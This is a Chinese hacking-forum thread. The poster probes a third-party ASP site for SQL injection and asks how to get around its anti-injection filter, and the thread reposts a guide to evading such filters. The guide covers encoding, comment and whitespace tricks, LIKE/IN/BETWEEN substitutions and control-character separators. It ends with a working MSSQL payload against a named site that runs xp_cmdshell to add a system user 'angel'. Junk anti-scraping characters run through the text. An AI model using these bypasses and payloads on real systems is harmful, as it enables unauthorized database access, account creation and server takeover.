找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2181|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.9 F2 o/ }3 ^) p# Q0 k
http://www.xxx.cn/Article.asp?ID=117 and 1=1
1 T8 x# h- ~+ ?2 E2 _: M直接返回主页/ u8 Q9 V% ~& ~8 b; b$ D# `, {( _& t
http://www.xxx.cn/Article.asp?ID=117 or 1=11 P/ ~, M, a4 a; S  ]5 t# ^
直接返回主页
2 f4 U% Y: t; o& Rhttp://www.xxx.cn/Article.asp?ID=117 or
/ i5 _& g9 F9 [/ X/ K/ o没有返回主页 没有过滤or
  V3 c5 O* R. A+ Mhttp://www.xxx.cn/Article.asp?ID=117 and" G& y* V2 y7 v# D4 U' B
直接返回主页 看来过滤了and* e3 a; u' Y# \8 `
http://www.xxx.cn/Article.asp?ID=117 or 1% _8 e( B/ s3 I- u
没有返回主页 即没有过滤or 也没有过滤1- E1 r7 c* f" f
http://www.xxx.cn/Article.asp?ID=117 or 1=1. C" w& G7 l# D8 g2 ~
直接返回主页 很明显过滤了等号 ) {( o. c9 B7 j( E7 `
or的特性是与and相反的., |6 P% K$ `0 x1 l" v3 O: \
or 1=1 爆错 或与原页面不同- f( K' G" h! I. O3 F
or 1=2 原页面相同
+ V5 u, C" {( d这样就是一个注入点9 N# p8 B* \" I( u- f) F/ _4 ^1 K
但他过滤了=号 我就用><号代替=号吧!% G6 L$ v  L5 N9 a$ `- L
or 1<2 很明显是正确的,所以应该与原页面不同
  k$ O2 ?$ x! Xor 1>2 很明显是错误的,所以应该与原页面相同
! e) k' m; u; j! L然后看看有没有过滤其他的查询语句,比如select.+ W" |! x- ^2 _; D3 J
http://www.xxx.cn/Article.asp?ID=117 select: F% z- t) t; e) O( U  I0 m. x
直接返回主页! P- N6 N- f5 R5 Q& a7 E
又迷茫了..* Q. N1 w5 h8 L. m+ ]
! j, z. d+ i0 z) }

" r# {5 P" j+ K  k" j! Tcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗5 y4 u5 b! C/ U
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)/ P- V; q; A/ ^
================================================' P/ a6 u# W' N
以下是转贴:3 K3 {4 J) e& _+ K* t* ]

, w2 j# E3 c' T5 o- B突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… . F$ h( `) }% o2 v
经过我的收集,大部分的防注入程序都过滤了以下关键字: " H, Y" u- K0 ^% I
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
& a9 M* {& u3 K# P而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 7 Q+ f, W7 E4 ]
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
4 s/ m* i+ d" g, S! \3 o1、运用编码技术绕过 ) a! B4 ^) S+ P3 n: r
如URLEncode编码,ASCII编码绕过。例如or 1=1即 : {" [; u' Z/ c. c  y# v
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
5 K6 _2 V- ?5 p0 R0 J) |# l: g
: \" X" a$ \3 w/ h# V2、通过空格绕过 1 @6 l% @4 N0 r0 E0 i+ q$ j5 c
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
) H7 z! K8 V- @% r1 w8 o5 p+ O3 d0 |or’ swords’ =‘swords’ & G! U4 @3 V1 l' W3 [& K6 N
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
# c  J$ B7 ~( x$ p  `3、运用字符串判断代替 3 J: I3 Y3 U1 x/ q: x4 @. N% e, T
用经典的or 1=1判断绕过,如 " j  O' j6 J; k+ H2 G" K
or ’swords’ =’swords’ 8 {2 T+ U$ l" @: ]% x
,这个方法就是网上在讨论的。
: F* }2 [% g1 E# ^1 i9 r+ V- \4、通过类型转换修饰符N绕过 : T! J: M$ g1 a3 m1 H+ K% H
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
" S8 m+ V6 X6 l, D* q0 e. p5、通过+号拆解字符串绕过 1 G0 z1 Q9 a$ e9 r' a
效果值得考证,但毕竟是一种方法。如
; i- U" B; C0 ^3 E; _" l  xor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
' O. E/ y; }2 L: r$ V( N3 x9 K, L" t7 Z% J
6、通过LIKE绕过 . {1 e" C  I+ C7 ^% w+ g" E
以前怎么就没想到呢?如or
  e7 m& k2 `2 F, D- z4 n’swords’ LIKE ’sw’
& G( r) k3 N" F2 M7 [!!!显然可以很轻松的绕过 / h. j% t5 o5 ]! ^9 P( Q: s
“=”“>” . C2 w& ]" a2 j" O; [, {
的限制……
6 Z0 x9 ^2 A" b) q7 J* p7、通过IN绕过
# l$ P5 Y6 N; P( z+ W: A" J& ~与上面的LIKE的思路差不多,如 2 ?9 G5 v. y$ P
or ’swords’ IN (’swords’) ' H0 g  Y& G& m: m0 Z7 ~

# M& f. I( ~1 A+ ?+ ^* b* Q1 S8、通过BETWEEN绕过
" y$ `2 i0 e2 H. A: g) ]5 }
4 D5 F! p, {' M+ J) P5 Vor ’swords’ BETWEEN ’rw’ AND ’tw’ & K. j6 `% @5 e
$ I* C. w2 i& @. U8 |
9、通过>或者<绕过
* Y& h$ h9 x; I: O3 B) a! c5 {or ’swords’ > ’sw’
) Y: X( b. N6 r% F7 g- |or ’swords’ < ’tw’ + m; p6 J. ]+ z- N
or 1<3
7 d9 D) \# K+ d' L7 d$ n' B……
$ A, m8 G4 z& D' e2 p+ R) [10、运用注释语句绕过 / F, q* T; B' a- a7 C0 e+ H
用/**/代替空格,如:
3 ]3 O: C1 s/ s) sUNION /**/ Select /**/user,pwd,from tbluser
% _+ t) b; y0 m- ^0 H. _6 A) I) x" m* W7 i7 I8 D8 @' {& H
用/**/分割敏感词,如:
! ~( ?& F$ [/ O! M( ]2 I, A8 JU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
' w- n0 y  g( y- C2 w' X. ?1 ~. e1 d6 `% V2 G& P
11、用HEX绕过,一般的IDS都无法检测出来 1 h* o' O% i- g- V# ?
0x730079007300610064006D0069006E00 =hex(sysadmin) " x2 w* k; g( Q. b7 {% I
0x640062005F006F0077006E0065007200 =hex(db_owner)
- m6 X3 i! P4 @& z7 N% a另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: $ S5 T6 b( q+ r
  declare @a sysname
1 S4 W" l6 V  K, x. Z4 \  v  select @a= $ L' v/ W: y, j" A: u! F
  exec master.dbo.xp_cmdshell @a
# `6 q  x! a5 U4 L4 d' E- A效果
( K( A& z# b  G8 J* Nhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
, f" h) p; S+ ?0 w4 v4 ~2 f+ H8 t: a5 ^# l. `
其中的
2 s, v8 j. |3 b) F4 o0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 " O  ~- L0 I0 S" N  K- u
就是
% g" G* Z3 |: o5 @“net user angel pass /add”
2 E2 `5 n0 W! `, B; Y7 J7 E+ j6 O1 h# H/ h: g9 M
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。7 k" Z, Y* c8 E' e' r4 c
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
9 b8 {' X; o2 _" f' m另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
8 m& y4 |, h1 [8 p# b+ K  L" oCopy code# C/ ?4 V; S( N
select * from table exec xp_cmdshell'xxxxxxxxxx'
) ^5 P! H: E' F# k8 @8 `/ n+ q
0 f0 \9 \+ _+ C+ D# T3 \
$ o1 A( m- z; s- Xselect * from table/**/exec xp_cmdshell'xxxxxxxxxx') F/ W, x0 e4 i7 v
* ]4 u% U% b6 Q: w) e; J0 h
* j& R- b) p& o8 X! N2 @
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'+ [" \+ A- @* J" h4 W
) W  N; {4 e* j; v) h3 n

- r. z( S' r' X' ]3 s" Rselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
0 Q. t; x& l8 W
7 Y' _: O/ W, W: \& A5 p% E的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
5 R2 A" p. G- H0 L- ^% P6 Q  R& k2 d5 M+ _& R& R* k1 q4 \0 C
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了' B# a* n8 L. q6 `8 \( R: A
可能大家早就知道了,不管怎么说,发在这里吧!
; G* r; c8 C9 r
! G: m" A+ Q/ u* I% K! F) P2 ~! x最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
" x7 u2 G3 l: Y* v
. c: k1 W1 C) Q
  |! C% O7 _) u! ?4 S* E( d6 `/ B- N
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
0 Y+ H7 j! G! G% a. H, W比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
: Z; N) i9 k" d& u3 m# Z$ {4 t! W2 V: Q% s5 z9 |  r( W6 [4 e; B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表